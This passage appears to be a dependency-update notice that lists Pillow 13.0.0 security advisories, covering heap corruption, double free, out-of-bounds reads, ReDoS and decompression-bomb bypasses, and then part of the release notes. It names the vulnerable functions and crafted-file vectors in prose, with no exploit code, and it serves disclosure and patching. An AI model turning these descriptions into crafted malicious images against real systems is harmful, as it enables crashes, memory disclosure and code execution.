JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75](https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h](https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4330) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112402 / [CVE-2026-112402](https://nvd.nist.gov/vuln/detail/CVE-2026-112402) / [GHSA-7mwm-ghpf-9vrm](https://github.com/advisories/GHSA-7mwm-ghpf-9vrm) / PYSEC-2026-4331 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9](https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4331) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112403 / [CVE-2026-112403](https://nvd.nist.gov/vuln/detail/CVE-2026-112403) / [GHSA-8g5g-8vmr-9782](https://github.com/advisories/GHSA-8g5g-8vmr-9782) / PYSEC-2026-4332 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75](https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782](https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4332) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112405 / [CVE-2026-112405](https://nvd.nist.gov/vuln/detail/CVE-2026-112405) / [GHSA-cp9v-662q-vvx9](https://github.com/advisories/GHSA-cp9v-662q-vvx9) / PYSEC-2026-4333 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86](https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9](https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4333) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112896 / [CVE-2026-112896](https://nvd.nist.gov/vuln/detail/CVE-2026-112896) / [GHSA-pchr-8j38-3x4p](https://github.com/advisories/GHSA-pchr-8j38-3x4p) / PYSEC-2026-4334 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742](https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p](https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4334) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112901 / [CVE-2026-112901](https://nvd.nist.gov/vuln/detail/CVE-2026-112901) / [GHSA-xgh8-jp6q-p5x8](https://github.com/advisories/GHSA-xgh8-jp6q-p5x8) / PYSEC-2026-4335 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's XBM header parser is vulnerable to regular-expression denial of service. In XbmImageFile._open, when an application calls Image.open() on a small crafted XBM file, XbmImagePlugin applies a backtracking expression to the attacker-controlled header before image dimensions are accepted, stalling a worker for minutes and denying service. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/2852a3e3d568997ddec745fc800991f138878f4b](https://github.com/python-pillow/Pillow/commit/2852a3e3d568997ddec745fc800991f138878f4b) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-xgh8-jp6q-p5x8](https://github.com/python-pillow/Pillow/security/advisories/GHSA-xgh8-jp6q-p5x8) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4335) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-114501 / [CVE-2026-114501](https://nvd.nist.gov/vuln/detail/CVE-2026-114501) / [GHSA-654x-cwwv-5j9c](https://github.com/advisories/GHSA-654x-cwwv-5j9c) / PYSEC-2026-4336 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. From 11.2.1 until 13.0.0, Arrow export assumes that an image's rows are tightly contiguous and exports from im->blocks[0].ptr even when PILLOW_ALIGNMENT makes aligned_linesize include row padding or an aligned offset before the first row. The resulting Arrow buffer can include uninitialized padding, bytes preceding the first row, or stale heap contents from previously freed images. Applications that configure alignment and export images to Arrow can therefore disclose one user's pixels or other process memory to another user. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c](https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c) - [https://github.com/python-pillow/Pillow/pull/10172](https://github.com/python-pillow/Pillow/pull/10172) - [https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a](https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4336) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96636 / [CVE-2026-96636](https://nvd.nist.gov/vuln/detail/CVE-2026-96636) / [GHSA-p8hx-v2p6-rp84](https://github.com/advisories/GHSA-p8hx-v2p6-rp84) / PYSEC-2026-4337 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, MpoImageFile.seek() and DcxImageFile.seek() reparse later MPO or DCX frames and replace self._size without rerunning Image._decompression_bomb_check(). A crafted multi-frame image can use a tiny first frame to pass Image.open() and then declare an over-limit later frame. Normal frame iteration through seek(), load(), or ImageSequence.Iterator can decode that frame and commit hundreds of megabytes or more, causing memory-exhaustion denial of service. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84](https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84) - [https://github.com/python-pillow/Pillow/pull/10011](https://github.com/python-pillow/Pillow/pull/10011) - [https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48](https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4337) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96637 / [CVE-2026-96637](https://nvd.nist.gov/vuln/detail/CVE-2026-96637) / [GHSA-g842-9rc4-69pw](https://github.com/advisories/GHSA-g842-9rc4-69pw) / PYSEC-2026-4338 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw](https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw) - [https://github.com/python-pillow/Pillow/pull/10076](https://github.com/python-pillow/Pillow/pull/10076) - [https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841](https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4338) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96639 / [CVE-2026-96639](https://nvd.nist.gov/vuln/detail/CVE-2026-96639) / [GHSA-v9pv-5gc8-w2m6](https://github.com/advisories/GHSA-v9pv-5gc8-w2m6) / PYSEC-2026-4339 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6](https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6) - [https://github.com/python-pillow/Pillow/pull/10105](https://github.com/python-pillow/Pillow/pull/10105) - [https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a](https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4339) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96641 / [CVE-2026-96641](https://nvd.nist.gov/vuln/detail/CVE-2026-96641) / [GHSA-4rm8-3hmm-39fg](https://github.com/advisories/GHSA-4rm8-3hmm-39fg) / PYSEC-2026-4340 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg) - [https://github.com/python-pillow/Pillow/pull/10010](https://github.com/python-pillow/Pillow/pull/10010) - [https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4](https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4340) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96642 / [CVE-2026-96642](https://nvd.nist.gov/vuln/detail/CVE-2026-96642) / [GHSA-3j72-p6qg-6xp7](https://github.com/advisories/GHSA-3j72-p6qg-6xp7) / PYSEC-2026-4341 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7](https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7) - [https://github.com/python-pillow/Pillow/pull/10012](https://github.com/python-pillow/Pillow/pull/10012) - [https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d](https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4341) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96643 / [CVE-2026-96643](https://nvd.nist.gov/vuln/detail/CVE-2026-96643) / [GHSA-g4qv-2jxx-769h](https://github.com/advisories/GHSA-g4qv-2jxx-769h) / PYSEC-2026-4342 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h](https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h) - [https://github.com/python-pillow/Pillow/pull/10073](https://github.com/python-pillow/Pillow/pull/10073) - [https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c](https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4342) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-96644 / [CVE-2026-96644](https://nvd.nist.gov/vuln/detail/CVE-2026-96644) / [GHSA-9v9v-9qvf-h2hj](https://github.com/advisories/GHSA-9v9v-9qvf-h2hj) / PYSEC-2026-4343 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj](https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj) - [https://github.com/python-pillow/Pillow/pull/10120](https://github.com/python-pillow/Pillow/pull/10120) - [https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7](https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4343) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>python-pillow/Pillow (pillow)</summary> ### [`v13.0.0`](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) [Compare Source](https://github.com/python-pillow/Pillow/compare/12.3.0...13.0.0) <https://pillow.readthedocs.io/en/stable/releasenotes/13.0.0.html> ##### Removals - Remove undocumented `GifImagePlugin._save_netpbm` [#&#8203;9901](https://github.com/python-pillow/Pillow/issues/9901) \[[@&#8203;akx](https://github.com/akx)] - Remove ExifTags.IFD.Makernote [#&#8203;9850](https://github.com/python-pillow/Pillow/issues/9850) \[[@&#8203;radarhere](https://github.com/radarhere)] - Drop support for Python 3.10 [#&#8203;9750](https://github.com/python-pillow/Pillow/issues/9750) \[[@&#8203;hugovk](https://github.com/hugovk)] - Remove deprecations for Pillow 13.0.0 [#&#8203;9751](https://github.com/python-pillow/Pillow/issues/9751) \[[@&#8203;radarhere](https://github.com/radarhere)] ##### Deprecations - Deprecate IM image format [#&#8203;9849](https://github.com/python-pillow/Pillow/issues/9849) \[[@&#8203;radarhere](https://github.com/radarhere)] - Deprecate ImageQt align8to32() in favour of raw encoder stride [#&#8203;9940](https://github.com/python-pillow/Pillow/issues/9940) \[[@&#8203;akx](https://github.com/akx)] - Deprecate JpegImageFile.load_djpeg [#&#8203;9924](https://github.com/python-pillow/Pillow/issues/9924) \[[@&#8203;akx](https://github.com/akx)] ##### Documentation - Update release notes for Pillow 13.0.0 [#&#8203;10223](https://github.com/python-pillow/Pillow/issues/10223) \[[@&#8203;hugovk](https://github.com/hugovk)] - Correct the ImageOps.fit centering corner documentation [#&#8203;10118](https://github.com/python-pillow/Pillow/issues/10118) \[[@&#8203;FanWu-ai](https://github.com/FanWu-ai)] - Update Tidelift links [#&#8203;10102](https://github.com/python-pillow/Pillow/issues/10102) \[[@&#8203;radarhere](https://github.com/radarhere)] - Correct bullet point syntax in release notes [#&#8203;10069](https://github.com/python-pillow/Pillow/issues/10069) \[[@&#8203;radarhere](https://github.com/radarhere)] - Update ImageDraw signatures in docs [#&#8203;10065](https://github.com/python-pillow/Pillow/issues/10065) \[[@&#8203;ZainnQureshii](https://github.com/ZainnQureshii)] - Update macOS tested Pillow versions [#&#8203;10048](https://github.com/python-pillow/Pillow/issues/10048) \[[@&#8203;hugovk](https://github.com/hugovk)] - Add pillow-wmf and pillow-zx-spectrum to third-party plugins list [#&#8203;10037](https://github.com/python-pillow/Pillow/issues/10037) \[[@&#8203;bitplane](https://github.com/bitplane)] - Delete CLAUDE.md [#&#8203;10027](https://github.com/python-pillow/Pillow/issues/10027) \[[@&#8203;hugovk](https://github.com/hugovk)] - Add pillow-lunasvg to third-party plugins list [#&#8203;10016](https://github.com/python-pillow/Pillow/issues/10016) \[[@&#8203;Maksim-Burtsev](https://github.com/Maksim-Burtsev)] - Extend security policy [#&#8203;10018](https://github.com/python-pillow/Pillow/issues/10018) \[[@&#8203;hugovk](https://github.com/hugovk)] - Update Color3DLUT description [#&#8203;10004](https://github.com/python-pillow/Pillow/issues/10004) \[[@&#8203;radarhere](https://github.com/radarhere)] - Document the internal image distinctness constraints [#&#8203;9752](https://github.com/python-pillow/Pillow/issues/9752) \[[@&#8203;akx](https://github.com/akx)] - Update macOS tested Pillow versions [#&#8203;10000](https://github.com/python-pillow/Pillow/issues/10000) \[[@&#8203;radarhere](https://github.com/radarhere)] - Link security policy in project metadata [#&#8203;9980](https://github.com/python-pillow/Pillow/issues/9980) \[[@&#8203;hugovk](https://github.com/hugovk)] - Image.new(): correct docstring and comment about uninitialized memory [#&#8203;9960](https://github.com/python-pillow/Pillow/issues/9960) \[[@&#8203;akx](https://github.com/akx)] - Add AGENTS.md [#&#8203;9582](https://github.com/python-pillow/Pillow/issues/9582) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Add release notes for [#&#8203;8811](https://github.com/python-pillow/Pillow/issues/8811) [#&#8203;9937](https://github.com/python-pillow/Pillow/issues/9937) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fixed typo [#&#8203;9923](https://github.com/python-pillow/Pillow/issues/9923) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fixed typo [#&#8203;9922](https://github.com/python-pillow/Pillow/issues/9922) \[[@&#8203;radarhere](https://github.com/radarhere)] - C interface is internal [#&#8203;9879](https://github.com/python-pillow/Pillow/issues/9879) \[[@&#8203;radarhere](https://github.com/radarhere)] - Correct function references [#&#8203;9895](https://github.com/python-pillow/Pillow/issues/9895) \[[@&#8203;radarhere](https://github.com/radarhere)] - Revert move from python-pillow\.org to python-pillow\.github.io [#&#8203;9830](https://github.com/python-pillow/Pillow/issues/9830) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Add additional CVE numbers to 12.3.0 release notes [#&#8203;9777](https://github.com/python-pillow/Pillow/issues/9777) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove remaining :rtype:s from docstrings [#&#8203;9742](https://github.com/python-pillow/Pillow/issues/9742) \[[@&#8203;akx](https://github.com/akx)] - Update macOS tested Pillow versions [#&#8203;9759](https://github.com/python-pillow/Pillow/issues/9759) \[[@&#8203;radarhere](https://github.com/radarhere)] ##### Dependencies - Update dependency cibuildwheel to v4.3.1 [#&#8203;10175](https://github.com/python-pillow/Pillow/issues/10175) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency cibuildwheel to v4.3.0 [#&#8203;10132](https://github.com/python-pillow/Pillow/issues/10132) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency harfbuzz to v14.5.0 [#&#8203;10108](https://github.com/python-pillow/Pillow/issues/10108) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update github-actions [#&#8203;10111](https://github.com/python-pillow/Pillow/issues/10111) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency check-jsonschema to v0.38.2 [#&#8203;10110](https://github.com/python-pillow/Pillow/issues/10110) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency fribidi to v1.0.17 [#&#8203;10106](https://github.com/python-pillow/Pillow/issues/10106) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency xz to v5.8.4 [#&#8203;10107](https://github.com/python-pillow/Pillow/issues/10107) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Add support for PyPy3.12 [#&#8203;10047](https://github.com/python-pillow/Pillow/issues/10047) \[[@&#8203;hugovk](https://github.com/hugovk)] - Update dependency cibuildwheel to v4.2.1 [#&#8203;10007](https://github.com/python-pillow/Pillow/issues/10007) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Install latest Ghostscript when testing Windows [#&#8203;9978](https://github.com/python-pillow/Pillow/issues/9978) \[[@&#8203;radarhere](https://github.com/radarhere)] - Update Ghostscript to 10.8.0 [#&#8203;9972](https://github.com/python-pillow/Pillow/issues/9972) \[[@&#8203;radarhere](https://github.com/radarhere)] - Update dependency cibuildwheel to v4.2.0 [#&#8203;9947](https://github.com/python-pillow/Pillow/issues/9947) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update github-actions [#&#8203;9952](https://github.com/python-pillow/Pillow/issues/9952) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency harfbuzz to v14.4.0 [#&#8203;9948](https://github.com/python-pillow/Pillow/issues/9948) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency mypy to v2.3.1 [#&#8203;9950](https://github.com/python-pillow/Pillow/issues/9950) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency check-jsonschema to v0.38.0 [#&#8203;9951](https://github.com/python-pillow/Pillow/issues/9951) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update nasm to 3.02 